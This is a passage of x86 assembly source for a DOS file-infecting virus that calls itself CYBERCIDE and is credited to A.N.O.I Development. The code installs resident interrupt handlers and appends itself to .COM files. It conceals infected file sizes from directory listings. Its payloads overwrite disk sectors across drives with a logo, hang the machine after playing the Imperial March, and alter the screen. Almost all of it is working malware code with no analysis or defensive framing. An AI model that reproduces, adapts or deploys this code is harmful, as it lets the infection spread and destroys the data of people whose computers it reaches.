int 21h
|
||||
mov [bp+(int_21h_off-sub_this)],bx
|
||||
mov [bp+(int_21h_seg-sub_this)],es
|
||||
mov ax,3509h ;get int 9h vect
|
||||
int 21h
|
||||
mov [bp+(int_9h_off-sub_this)],bx
|
||||
mov [bp+(int_9h_seg-sub_this)],es
|
||||
mov ax,351ch ;get int 1ch vect
|
||||
int 21h
|
||||
mov [bp+(int_1ch_off-sub_this)],bx
|
||||
mov [bp+(int_1ch_seg-sub_this)],es
|
||||
|
||||
mov ax,cs
|
||||
dec ax
|
||||
mov es,ax
|
||||
mov ax,es:[0003h]
|
||||
sub ax,[bp+(memlen-sub_this)]
|
||||
mov es:[0003h],ax
|
||||
mov ax,[bp+(memlen-sub_this)]
|
||||
sub word ptr es:[0012h],ax
|
||||
mov es,es:[0012h]
|
||||
push es
|
||||
|
||||
lea si,[bp+(start-sub_this)]
|
||||
mov di,0100h
|
||||
mov cx,[bp+(filelen-sub_this)]
|
||||
rep movsb
|
||||
|
||||
pop ds ;es => ds
|
||||
mov ax,2521h ;new vector at ES:0100
|
||||
lea dx,new_int_21h
|
||||
int 21h
|
||||
mov ax,2509h ;int 9h
|
||||
lea dx,new_int_9h
|
||||
int 21h
|
||||
mov ax,251ch ;int 1ch
|
||||
lea dx,new_int_1ch
|
||||
int 21h
|
||||
cancel:
|
||||
push cs ;cs => ds => es
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
lea si,[bp+(first_bytes-sub_this)]
|
||||
mov cx,3
|
||||
mov di,100h
|
||||
rep movsb
|
||||
sub di,3
|
||||
jmp far ptr di
|
||||
|
||||
ULTIMATHULE DB 'nam nesut agn†m dem „nk mo „nk ,marf'
|
||||
db 'kcig xeR sluloraC ruh nes egn„l r”f ,n„ in snniM'
|
||||
; ^^^^^^^^^ Only a swedish poem written backwards ^^^^^^^^^
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Resident part -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||
|
||||
imperial_march dw 330,600
|
||||
dw 330,600
|
||||
dw 330,600
|
||||
dw 262,450
|
||||
dw 392,150
|
||||
dw 330,600
|
||||
dw 262,450
|
||||
dw 392,150
|
||||
dw 330,1200
|
||||
dw 494,600
|
||||
dw 494,600
|
||||
dw 494,600
|
||||
dw 523,450
|
||||
dw 392,150
|
||||
dw 330,600
|
||||
dw 262,450
|
||||
dw 392,150
|
||||
dw 330,1200
|
||||
dw 0
|
||||
|
||||
db 'YTITNE na ot LEURC eb reven'
|
||||
darth_return:
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
lea si,imperial_march
|
||||
darth_again:
|
||||
lodsw
|
||||
|
||||
cmp ax,0
|
||||
je darth_end
|
||||
|
||||
mov di,ax
|
||||
play:
|
||||
mov al,0b6h
|
||||
out 43h,al
|
||||
mov dx,12h
|
||||
mov ax,3280h
|
||||
div di
|
||||
out 42h,al
|
||||
|
||||
mov al,ah
|
||||
out 42h,al
|
||||
|
||||
in al,61h
|
||||
mov ah,al
|
||||
or al,3
|
||||
out 61h,al
|
||||
delay:
|
||||
lodsw
|
||||
mov cx,ax
|
||||
m_delay:
|
||||
push cx
|
||||
mov cx,2700
|
||||
loop $
|
||||
pop cx
|
||||
loop m_delay
|
||||
|
||||
out 61h,al
|
||||
|
||||
jmp darth_again
|
||||
darth_end:
|
||||
xor al,al ;sound off
|
||||
out 61h,al
|
||||
|
||||
mov ax,0b800h ;print ansi
|
||||
mov es,ax
|
||||
lea si,darth_pic
|
||||
mov di,3680
|
||||
mov cx,320
|
||||
rep movsb
|
||||
|
||||
jmp $ ;hang
|
||||
db 'ynollef ELIV a si GINKLAWYAJ'
|
||||
next_hour:
|
||||
cmp dh,0
|
||||
je check_100th
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
jmp exit
|
||||
check_100th:
|
||||
cmp dl,5
|
||||
jb random_sector
|
||||
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
jmp exit
|
||||
random_sector:
|
||||
pushf
|
||||
push bx
|
||||
|
||||
call get_rnd
|
||||
mov cx,10 ;/ 10
|
||||
xor dx,dx
|
||||
div cx
|
||||
mov dx,ax ;dx=ax
|
||||
|
||||
mov al,2h ;drive #, start with c:
|
||||
mov cx,1h ;# of sectors to overwrite
|
||||
lea bx,logo ;address to overwriting data
|
||||
loopie:
|
||||
int 26h
|
||||
popf
|
||||
inc al
|
||||
cmp al,25
|
||||
jne loopie
|
||||
|
||||
pop bx
|
||||
popf
|
||||
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
jmp exit
|
||||
db '... I SHALL FEAR NO EVIL ...'
|
||||
check_time_int1c:
|
||||
mov ah,2ch ;get time
|
||||
int 21h
|
||||
cmp ch,16 ;>16:??
|
||||
jae set_flag_flag
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
jmp exit
|
||||
set_flag_flag:
|
||||
mov cs:flagga,1
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
jmp exit
|
||||
|
||||
logo db '>>> A.N.O.I <<<' ; DATA to overwrite with
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||||
; New Interrupt 21h Handler
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||||
new_int_21h:
|
||||
pushf
|
||||
|
||||
cmp ax,0dd22h ;mem check
|
||||
je mem_check
|
||||
|
||||
cmp ah,2ch ;time?
|
||||
je exit
|
||||
|
||||
cmp ah,2ah ;date?
|
||||
je exit
|
||||
|
||||
cmp ah,9
|
||||
je exit
|
||||
|
||||
cmp ah,11h
|
||||
je find_old
|
||||
cmp ah,12h
|
||||
je find_old
|
||||
|
||||
cmp ah,4eh ;dos 2.x
|
||||
je find_
|
||||
cmp ah,4fh
|
||||
je find_
|
||||
cmp ah,3dh ;open file
|
||||
je open_file
|
||||
|
||||
push ax
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov ah,2ch
|
||||
int 21h
|
||||
|
||||
cmp ch,00 ;24:??
|
||||
jne $+7
|
||||
lea dx,darth_return
|
||||
jmp far ptr dx
|
||||
|
||||
cmp cl,00 ;a new hour?
|
||||
jne $+7
|
||||
lea ax,next_hour
|
||||
jmp far ptr ax
|
||||
|
||||
mov ah,2ah ;get date
|
||||
int 21h
|
||||
|
||||
cmp al,6 ;flag time? (SAT)
|
||||
je check_time_int1c ;check time
|
||||
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
exit:
|
||||
popf
|
||||
|
||||
real_int_21h: db 0eah ;jmp...
|
||||
int_21h_off dw ? ;to old int 21h
|
||||
int_21h_seg dw ?
|
||||
|
||||
call_int21h:
|
||||
jmp dword ptr cs:int_21h_off ;force a call to DOS
|
||||
ret
|
||||
open_file:
|
||||
push bp
|
||||
lea bp,open
|
||||
jmp far ptr bp
|
||||
find_:
|
||||
push bp
|
||||
lea bp,find_new
|
||||
jmp far ptr bp
|
||||
mem_check:
|
||||
popf
|
||||
mov ax,3d33h
|
||||
iret
|
||||
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||||
; Stealth FCB
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||||
|
||||
find_old:
|
||||
popf
|
||||
|
||||
pushf ;find fcb
|
||||
push cs
|
||||
call call_int21h
|
||||
cmp al,0ffh
|
||||
je no_more_files
|
||||
|
||||
pushf
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
push bp
|
||||
|
||||
mov ah,2fh ;get dta
|
||||
int 21h
|
||||
|
||||
push es ;es:bx
|
||||
pop ds ;ds:bx
|
||||
mov si,bx ;ds:si
|
||||
|
||||
add si,16 ;ext name
|
||||
lodsw
|
||||
cmp ax,'OC' ;.CO
|
||||
jne cancel_ff
|
||||
lodsb
|
||||
cmp al,'M' ;M
|
||||
jne cancel_ff
|
||||
ext_ok:
|
||||
;ext=com
|
||||
mov si,bx ;check size
|
||||
add si,26h
|
||||
lodsw
|
||||
cmp ax,0 ;=> 0ffffh?
|
||||
jne cancel_ff
|
||||
|
||||
mov si,bx ;check if already infected
|
||||
add si,30
|
||||
lodsw ;time
|
||||
and al,00011111b
|
||||
cmp al,12
|
||||
je $+7 ;already infected (sec=24)
|
||||
lea dx,infect
|
||||
jmp far ptr dx
|
||||
|
||||
mov si,bx ;alter size
|
||||
add si,36
|
||||
mov di,si
|
||||
lodsw
|
||||
sub ax,cs:filelen
|
||||
jz cancel_ff
|
||||
stosw
|
||||
cancel_ff:
|
||||
pop bp
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
no_more_files: retf 2 ;iret flags
|
||||
cancel_inf:
|
||||
pop ax
|
||||
pop ax
|
||||
jmp cancel_ff
|
||||
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||||
; Stealth 4Eh
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||||
find_new:
|
||||
pop bp
|
||||
popf
|
||||
|
||||
pushf ;find 4e
|
||||
push cs
|
||||
call call_int21h
|
||||
jnc more_files
|
||||
retf 2
|
||||
more_files:
|
||||
pushf
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
push bp
|
||||
|
||||
mov ah,2fh ;get dta
|
||||
int 21h
|
||||
|
||||
push es ;es:bx
|
||||
pop ds ;ds:bx
|
||||
|
||||
mov si,bx ;ds:si
|
||||
|
||||
add si,16h
|
||||
push si ;ONLY for infection
|
||||
push es
|
||||
|
||||
mov si,bx
|
||||
|
||||
push cs ;cs => es
|
||||
pop es
|
||||
|
||||
add si,1eh ;f name
|
||||
lea di,filename
|
||||
mov cx,25
|
||||
get_fname:
|
||||
lodsb
|
||||
cmp al,0
|
||||
je get_f_klar
|
||||
stosb
|
||||
loop get_fname
|
||||
get_f_klar:
|
||||
mov al,0 ;asciiz
|
||||
stosb
|
||||
|
||||
push ds ;ds=> es
|
||||
pop es
|
||||
push cs ;cs=> ds
|
||||
pop ds
|
||||
mov si,di
|
||||
|
||||
sub si,4 ;'COM'
|
||||
lodsw ;CO
|
||||
|
||||
cmp ax,'OC'
|
||||
je check_m
|
||||
cmp ax,'oc'
|
||||
jne cancel_new
|
||||
check_m:
|
||||
lodsb
|
||||
cmp al,'m'
|
||||
je ext_is_com
|
||||
cmp al,'M'
|
||||
jne cancel_new
|
||||
ext_is_com:
|
||||
push es ;es=> ds
|
||||
pop ds
|
||||
|
||||
mov si,bx
|
||||
add si,1ch ;check size
|
||||
lodsw
|
||||
cmp ax,0 ;=> 0ffffh
|
||||
jne cancel_new
|
||||
|
||||
mov si,bx
|
||||
add si,16h
|
||||
lodsw ;time
|
||||
and al,00011111b
|
||||
cmp al,12
|
||||
jne attrib_check ;already infected (sec=24)
|
||||
|
||||
mov si,bx
|
||||
add si,1ah
|
||||
mov di,si
|
||||
lodsw ;alter size
|
||||
sub ax,cs:filelen
|
||||
jz cancel_new
|
||||
stosw
|
||||
cancel_new:
|
||||
pop ax ;crap...
|
||||
pop ax
|
||||
|
||||
pop bp
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
no_more_files2: retf 2 ;iret flags
|
||||
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||||
; Infect
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
||||
|
||||
infect:
|
||||
add bx,30
|
||||
push bx
|
||||
sub bx,30
|
||||
push es
|
||||
|
||||
mov si,bx ;fname
|
||||
add si,8
|
||||
|
||||
push cs ;cs=>es
|
||||
pop es
|
||||
|
||||
lea di,filename
|
||||
mov cx,8
|
||||
cpy_name:
|
||||
lodsb
|
||||
cmp al,20h
|
||||
je name_klar
|
||||
stosb
|
||||
loop cpy_name
|
||||
name_klar:
|
||||
mov al,'.'
|
||||
stosb
|
||||
mov si,bx
|
||||
add si,16
|
||||
mov cx,3
|
||||
rep movsb
|
||||
mov al,0
|
||||
stosb
|
||||
attrib_check:
|
||||
push cs ;cs=> ds => es
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
mov ax,4300h ;get attrib
|
||||
lea dx,filename
|
||||
int 21h
|
||||
mov attribute,cx ;save it
|
||||
xor cx,cx
|
||||
mov ax,4301h ;force all attribs
|
||||
int 21h
|
||||
|
||||
mov ax,3d02h ;open file
|
||||
pushf
|
||||
push cs
|
||||
call call_int21h
|
||||
jnc $+7 ;not a valid filename
|
||||
lea dx,cancel_inf
|
||||
jmp far ptr dx
|
||||
mov bx,ax ;handle
|
||||
|
||||
mov ah,3fh ;3 first bytes
|
||||
lea dx,first_bytes
|
||||
mov cx,3
|
||||
int 21h
|
||||
|
||||
mov ax,4202h ;go eof and get size
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
sub ax,3
|
||||
mov jmp_2,ax
|
||||
|
||||
mov ah,40h ;write virus to eof
|
||||
mov cx,filelen ;virlen
|
||||
mov dx,100h
|
||||
int 21h
|
||||
|
||||
mov ax,4200h ;goto beg
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah,40h ;write a jmp
|
||||
mov cx,3
|
||||
lea dx,jmp_1
|
||||
int 21h
|
||||
|
||||
pop ds ;=> DTA
|
||||
pop si
|
||||
|
||||
lodsw
|
||||
and al,11100000b ;secs=24
|
||||
or al,00001100b
|
||||
mov cx,ax
|
||||
lodsw ;date
|
||||
mov dx,ax
|
||||
|
||||
mov ax,5701h ;set time/date
|
||||
int 21h
|
||||
|
||||
mov ah,3eh
|
||||
pushf
|
||||
push cs
|
||||
call call_int21h ;close file
|
||||
|
||||
mov ax,4301h ;set attrib
|
||||
push cs ;cs =>ds
|
||||
pop ds
|
||||
mov cx,attribute
|
||||
lea dx,filename
|
||||
int 21h
|
||||
|
||||
jmp cancel_ff
|
||||
|
||||
cancel_uninf2:
|
||||
mov ah,3eh
|
||||
pushf
|
||||
push cs
|
||||
call call_int21h ;close file
|
||||
cancel_uninf:
|
||||
pop bp
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
|
||||
pushf
|
||||
push cs
|
||||
call call_int21h
|
||||
retf 2 ;iret flags
|
||||
|
||||
konstig_text db '**CYBERCIDE** -- FLOATING THROUGH THE VOID'
|
||||
|
||||
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||
; Open
|
||||
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||
open:
|
||||
pop bp
|
||||
popf
|
||||
|
||||
pushf
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
push bp
|
||||
|
||||
push ds ;ds=> es
|
||||
pop es
|
||||
|
||||
mov bx,dx ;save dx = bx
|
||||
mov bp,ax ;save ax = bp
|
||||
|
||||
mov di,dx
|
||||
mov cx,025h ;MAX
|
||||
mov dx,cx
|
||||
mov al,0
|
||||
repnz scasb
|
||||
sub di,4
|
||||
mov si,di
|
||||
lodsw
|
||||
cmp ax,'OC'
|
||||
je check_m2
|
||||
cmp ax,'oc'
|
||||
jne cancel_uninf
|
||||
check_m2:
|
||||
lodsb
|
||||
cmp al,'m'
|
||||
je ext_is_com2
|
||||
cmp al,'M'
|
||||
jne cancel_uninf
|
||||
ext_is_com2:
|
||||
mov dx,bx ;restore
|
||||
mov ax,bp ;restore
|
||||
|
||||
pushf
|
||||
push cs
|
||||
call call_int21h ;open file
|
||||
jc cancel_uninf
|
||||
mov bx,ax ;handle
|
||||
|
||||
mov ax,5700h ;get time/date
|
||||
int 21h
|
||||
|
||||
and cl,00011111b
|
||||
cmp cl,12
|
||||
je $+7
|
||||
lea bp,cancel_uninf2
|
||||
jmp far ptr bp
|
||||
|
||||
mov ax,9000h ;temp area
|
||||
mov ds,ax ;ds
|
||||
mov es,ax ;es
|
||||
|
||||
mov ah,3fh ;read whole file
|
||||
mov cx,0ffffh
|
||||
mov dx,0
|
||||
int 21h
|
||||
|
||||
mov si,0
|
||||
add si,ax ;add size
|
||||
sub si,3 ;3 last bytes
|
||||
|
||||
mov di,0 ;copy 3 last bytes to
|
||||
mov cx,3 ;beg
|
||||
rep movsb
|
||||
|
||||
push ax
|
||||
mov ax,4200h ;goto beg
|
||||
mov cx,0
|
||||
mov dx,0
|
||||
int 21h
|
||||
|
||||
pop cx
|
||||
sub cx,cs:filelen
|
||||
mov ah,40h ;write new file
|
||||
mov dx,0
|
||||
int 21h
|
||||
|
||||
mov ah,40h ;set eof mark
|
||||
mov cx,0
|
||||
int 21h
|
||||
|
||||
mov ah,3eh
|
||||
pushf
|
||||
push cs
|
||||
call call_int21h ;close file
|
||||
|
||||
pop bp
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
|
||||
pushf
|
||||
push cs
|
||||
call call_int21h ;force open
|
||||
retf 2
|
||||
|
||||
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||
; New Interrupt 9h Handler
|
||||
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||
;-9h
|
||||
new_int_9h:
|
||||
pushf
|
||||
push ax
|
||||
push bx
|
||||
push ds
|
||||
|
||||
xor ax,ax ;ds=> 0
|
||||
mov ds,ax
|
||||
|
||||
mov al,byte ptr ds:[0417h] ;bios, shift status
|
||||
and al,8
|
||||
cmp al,8 ;is alt active?
|
||||
jne check_anoi ;not pressed
|
||||
|
||||
in al,60h
|
||||
cmp al,53h ;del?
|
||||
jne $+7
|
||||
lea ax,alt_del
|
||||
jmp far ptr ax
|
||||
|
||||
check_anoi:
|
||||
in al,60h ;read key
|
||||
cmp cs:anoi_flag,0
|
||||
je check_a
|
||||
cmp cs:anoi_flag,1
|
||||
je check_n
|
||||
cmp cs:anoi_flag,2
|
||||
je check_o
|
||||
cmp cs:anoi_flag,3
|
||||
je check_i
|
||||
cmp cs:anoi_flag,4
|
||||
je anoi_
|
||||
exit_zero:
|
||||
mov cs:anoi_flag,0
|
||||
mov cs:e_3rd,0
|
||||
exit_9h:
|
||||
pop ds
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
|
||||
real_int_9h: db 0eah ;jmp...
|
||||
int_9h_off dw ? ;to old int 9h
|
||||
int_9h_seg dw ?
|
||||
|
||||
anoi_flag db 0
|
||||
e_3rd db 0
|
||||
anoi_text db ' iS AROUND!',0
|
||||
|
||||
exit_anoi:
|
||||
inc cs:e_3rd
|
||||
cmp cs:e_3rd,10
|
||||
je exit_zero
|
||||
jmp exit_9h
|
||||
|
||||
check_a:
|
||||
cmp al,1eh ;'a'
|
||||
jne exit_anoi
|
||||
mov cs:anoi_flag,1
|
||||
jmp exit_9h
|
||||
check_n:
|
||||
cmp al,31h ;'n'
|
||||
jne exit_anoi
|
||||
mov cs:anoi_flag,2
|
||||
jmp exit_9h
|
||||
check_o:
|
||||
cmp al,18h ;'o'
|
||||
jne exit_anoi
|
||||
mov cs:anoi_flag,3
|
||||
jmp exit_9h
|
||||
check_i:
|
||||
cmp al,17h ;'i'
|
||||
jne exit_anoi
|
||||
mov cs:anoi_flag,4
|
||||
jmp exit_9h
|
||||
|
||||
anoi_:
|
||||
push bp
|
||||
|
||||
mov ah,0eh ;print chr
|
||||
mov bx,0
|
||||
xor bp,bp
|
||||
print_next:
|
||||
mov al,cs:[anoi_text+bp]
|
||||
int 10h
|
||||
inc bp
|
||||
cmp al,0
|
||||
jne print_next
|
||||
|
||||
pop bp
|
||||
jmp exit_zero
|
||||
|
||||
alt_del:
|
||||
mov ax,0b800h
|
||||
mov es,ax
|
||||
mov di,0
|
||||
mov al,'A'
|
||||
stosb
|
||||
mov di,158
|
||||
mov al,'N'
|
||||
stosb
|
||||
mov di,3998
|
||||
mov al,'I'
|
||||
stosb
|
||||
mov di,3840
|
||||
mov al,'O'
|
||||
stosb
|
||||
|
||||
jmp exit_9h
|
||||
darth_pic:
|
||||
DB 'Ä',30,'Ä',30,'Å',30,'Ä',30,'Ä',30,'Ä',30,' ',7,' ',7
|
||||
DB ' ',7,' ',15,' ',15,'I',15,' ',15,'h',15,'e',15,'r',15
|
||||
DB 'e',15,'b',15,'y',15,' ',15,'p',15,'r',15,'o',15,'c',15
|
||||
DB 'l',15,'a',15,'i',15,'m',15,' ',15,'t',15,'h',15,'i',15
|
||||
DB 's',15,' ',15,'c',15,'o',15,'m',15,'p',15,'u',15,'t',15
|
||||
DB 'e',15,'r',15,' ',15,'a',15,'s',15,' ',15,'t',15,'h',15
|
||||
DB 'e',15,' ',15,'p',15,'r',15,'o',15,'p',15,'e',15,'r',15
|
||||
DB 't',15,'y',15,' ',15,'o',15,'f',15,' ',15,'A',15,'.',15
|
||||
DB 'N',15,'.',15,'O',15,'.',15,'I',15,' ',15,' ',15,' ',7
|
||||
DB ' ',7,' ',14,'Ä',30,'Ä',30,'Å',30,'Ä',30,'Ä',30,'Ä',30
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,'!',15,'!',15,' ',15,'A',15,'L',15
|
||||
DB 'L',15,' ',15,'H',15,'A',15,'I',15,'L',15,' ',15,'D',15
|
||||
DB 'A',15,'R',15,'T',15,'H',15,' ',15,'V',15,'A',15,'D',15
|
||||
DB 'E',15,'R',15,' ',15,'!',15,'!',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
||||
|
||||
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||
; New Interrupt 1Ch Handler
|
||||
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||
|
||||
new_int_1ch:
|
||||
pushf
|
||||
|
||||
cmp cs:flagga,0
|
||||
jne print_flag
|
||||
exit_1c:
|
||||
popf
|
||||
|
||||
real_int_1ch: db 0eah ;jmp...
|
||||
int_1ch_off dw ? ;to old int 1ch
|
||||
int_1ch_seg dw ?
|
||||
flagga db 0 ;no flag
|
||||
|
||||
print_flag:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push di
|
||||
push si
|
||||
push ds
|
||||
push es
|
||||
push bp
|
||||
|
||||
cld
|
||||
mov ax,0b800h
|
||||
mov es,ax
|
||||
mov ds,ax
|
||||
|
||||
mov di,1
|
||||
mov si,1
|
||||
lea bp,tabl
|
||||
xor ch,ch
|
||||
|
||||
mov cl,cs:[bp]
|
||||
inc bp
|
||||
again:
|
||||
mov bl,cs:[bp]
|
||||
inc bp
|
||||
line:
|
||||
lodsb
|
||||
and al,00000111b
|
||||
or al,bl
|
||||
stosb
|
||||
inc di
|
||||
inc si
|
||||
loop line
|
||||
|
||||
mov cl,cs:[bp]
|
||||
inc bp
|
||||
cmp cl,0
|
||||
jne again
|
||||
|
||||
pop bp
|
||||
pop es
|
||||
pop ds
|
||||
pop si
|
||||
pop di
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp exit_1c
|
||||
|
||||
; # B G B
|
||||
tabl db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
|
||||
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
|
||||
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
|
||||
|
||||
db 80,96,80,96,80,96,80,96
|
||||
|
||||
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
|
||||
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
|
||||
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
|
||||
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16,0
|
||||
|
||||
DB '-=CYBERCIDE=- 01-30-1993 * COPYRIGHT (C) 1992-93 A.N.O.I DEVELOPMENT'
|
||||
get_rnd:
|
||||
push dx
|
||||
push cx
|
||||
push bx
|
||||
in al,40h ;'@'
|
||||
add ax,0000
|
||||
mov dx,0000
|
||||
mov cx,0007
|
||||
rnd_init5: | ||||